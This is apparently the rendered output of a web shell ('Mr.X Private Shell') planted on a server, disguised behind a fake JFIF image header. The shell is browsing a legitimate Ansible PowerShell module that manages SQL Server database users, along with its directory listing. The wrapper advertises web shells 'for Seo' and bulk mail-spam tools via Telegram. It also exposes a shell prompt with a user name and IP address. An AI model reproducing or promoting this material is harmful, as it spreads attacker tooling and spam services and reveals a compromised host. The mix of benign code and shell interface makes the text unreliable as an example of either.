����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
#!powershell
# -*- coding: utf-8 -*-

# (c) 2022, John McCall (@lowlydba)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

#AnsibleRequires -CSharpUtil Ansible.Basic
#AnsibleRequires -PowerShell ansible_collections.lowlydba.sqlserver.plugins.module_utils._SqlServerUtils
#Requires -Modules @{ ModuleName="dbatools"; ModuleVersion="1.1.112" }

$ErrorActionPreference = "Stop"

$spec = @{
    supports_check_mode = $true
    options = @{
        login = @{type = 'str'; required = $true }
        database = @{type = 'str'; required = $true }
        username = @{type = 'str'; required = $true }
        default_schema = @{type = 'str'; required = $false ; default = 'dbo' }
        external_provider = @{type = 'bool'; required = $false }
        state = @{type = 'str'; required = $false; default = 'present'; choices = @('present', 'absent') }
    }
}

$module = [Ansible.Basic.AnsibleModule]::Create($args, $spec, @(Get-LowlyDbaSqlServerAuthSpec))
$sqlInstance, $sqlCredential = Get-SqlCredential -Module $module
$login = $module.Params.login
$username = $module.Params.username
$database = $module.Params.database
$defaultSchema = $module.Params.default_schema
[nullable[bool]]$externalProvider = $module.Params.external_provider
$state = $module.Params.state
$checkMode = $module.CheckMode

$module.Result.changed = $false

$getUserSplat = @{
    SqlInstance = $sqlInstance
    SqlCredential = $sqlCredential
    User = $username
    Login = $login
    Database = $database
    EnableException = $true
}
$existingUser = Get-DbaDbUser @getUserSplat

if ($state -eq "absent") {
    if ($null -ne $existingUser) {
        try {
            $removeUserSplat = @{
                SqlInstance = $sqlInstance
                SqlCredential = $sqlCredential
                User = $username
                Database = $database
                EnableException = $true
                WhatIf = $checkMode
                Force = $true
                Confirm = $false
            }
            $output = Remove-DbaDbUser @removeUserSplat
            $module.Result.changed = $true
        }
        catch {
            $module.FailJson("Removing user failed: $($_.Exception.Message)", $_)
        }
    }
}
elseif ($state -eq "present") {
    # User exists
    if ($null -ne $existingUser) {
        if ($defaultSchema -ne $existingUser.DefaultSchema) {
            try {
                # No Set-DbaDbUser command exists, use SMO
                $getSchemaSplat = @{
                    SqlInstance = $sqlInstance
                    SqlCredential = $sqlCredential
                    Database = $database
                    Schema = $defaultSchema
                    IncludeSystemDatabases = $true
                    IncludeSystemSchemas = $true
                    EnableException = $true
                }
                $existingSchema = Get-DbaDbSchema @getSchemaSplat

                if ($null -ne $existingSchema) {
                    # do schema change
                    if (-not($checkMode)) {
                        $existingUser.DefaultSchema = $defaultSchema
                        $existingUser.Alter()
                        $output = $existingUser
                    }
                    $module.result.changed = $true
                }
                else {
                    $module.FailJson("Schema '$defaultSchema' not found in [$database].")
                }
            }
            catch {
                $module.FailJson("Configuring user failed: $($_.Exception.Message)", $_)
            }
        }
    }
    # New User
    else {
        try {
            $newUserSplat = @{
                SqlInstance = $sqlInstance
                SqlCredential = $sqlCredential
                Username = $username
                Login = $login
                Database = $database
                DefaultSchema = $defaultSchema
                EnableException = $true
                WhatIf = $checkMode
                Force = $true
                Confirm = $false
            }
            if ($externalProvider -eq $true) {
                $newUserSplat.add("ExternalProvider", $true)
            }
            $output = New-DbaDbUser @newUserSplat
            $module.result.changed = $true
        }
        catch {
            $module.FailJson("Creating user failed: $($_.Exception.Message)", $_)
        }
    }
    # If not in check mode, add extra fields we can change to default display set
    if ($null -ne $output) {
        $output.PSStandardMembers.DefaultDisplayPropertySet.ReferencedPropertyNames.Add("DefaultSchema")
    }
}
try {
    if ($null -ne $output) {
        $resultData = ConvertTo-SerializableObject -InputObject $output
        $module.Result.data = $resultData
    }
    $module.ExitJson()
}
catch {
    $module.FailJson("Failure: $($_.Exception.Message)", $_)
}

Filemanager

DIR : / usr/ lib/ python3.9/ site-packages/ ansible_collections/ lowlydba/ sqlserver/ plugins/ modules/
Name Type Size Permission Actions
__pycache__ Folder 0755
ag_listener.ps1 File 3.12 KB 0644
ag_listener.py File 2.22 KB 0644
ag_replica.ps1 File 7.88 KB 0644
ag_replica.py File 4.71 KB 0644
agent_job.ps1 File 4.56 KB 0644
agent_job.py File 2.36 KB 0644
agent_job_category.ps1 File 2.17 KB 0644
agent_job_category.py File 1.29 KB 0644
agent_job_schedule.ps1 File 6.36 KB 0644
agent_job_schedule.py File 4.83 KB 0644
agent_job_step.ps1 File 6.3 KB 0644
agent_job_step.py File 3.34 KB 0644
availability_group.ps1 File 9.56 KB 0644
availability_group.py File 4.93 KB 0644
backup.ps1 File 5.73 KB 0644
backup.py File 5.75 KB 0644
credential.ps1 File 4.29 KB 0644
credential.py File 2.44 KB 0644
database.ps1 File 9.21 KB 0644
database.py File 2.55 KB 0644
dba_multitool.ps1 File 2.11 KB 0644
dba_multitool.py File 1.98 KB 0644
first_responder_kit.ps1 File 2.77 KB 0644
first_responder_kit.py File 2.74 KB 0644
hadr.ps1 File 2.39 KB 0644
hadr.py File 1.69 KB 0644
install_script.ps1 File 3.19 KB 0644
install_script.py File 3.27 KB 0644
instance_info.ps1 File 1.76 KB 0644
instance_info.py File 931 B 0644
login.ps1 File 5.35 KB 0644
login.py File 2.44 KB 0644
maintenance_solution.ps1 File 3.92 KB 0644
maintenance_solution.py File 3.24 KB 0644
memory.ps1 File 1.49 KB 0644
memory.py File 1.23 KB 0644
nonquery.ps1 File 1.49 KB 0644
nonquery.py File 1.26 KB 0644
resource_governor.ps1 File 2.15 KB 0644
resource_governor.py File 1.33 KB 0644
restore.ps1 File 7.63 KB 0644
restore.py File 7.29 KB 0644
rg_resource_pool.ps1 File 4.22 KB 0644
rg_resource_pool.py File 2.56 KB 0644
rg_workload_group.ps1 File 4.44 KB 0644
rg_workload_group.py File 2.96 KB 0644
sa.ps1 File 3.5 KB 0644
sa.py File 1.97 KB 0644
sp_configure.ps1 File 1.84 KB 0644
sp_configure.py File 1.4 KB 0644
sp_whoisactive.ps1 File 1.62 KB 0644
sp_whoisactive.py File 1.67 KB 0644
spn.ps1 File 2.66 KB 0644
spn.py File 1.87 KB 0644
tcp_port.ps1 File 2.35 KB 0644
tcp_port.py File 1.72 KB 0644
traceflag.ps1 File 2.11 KB 0644
traceflag.py File 1.53 KB 0644
user.ps1 File 4.76 KB 0644
user.py File 2 KB 0644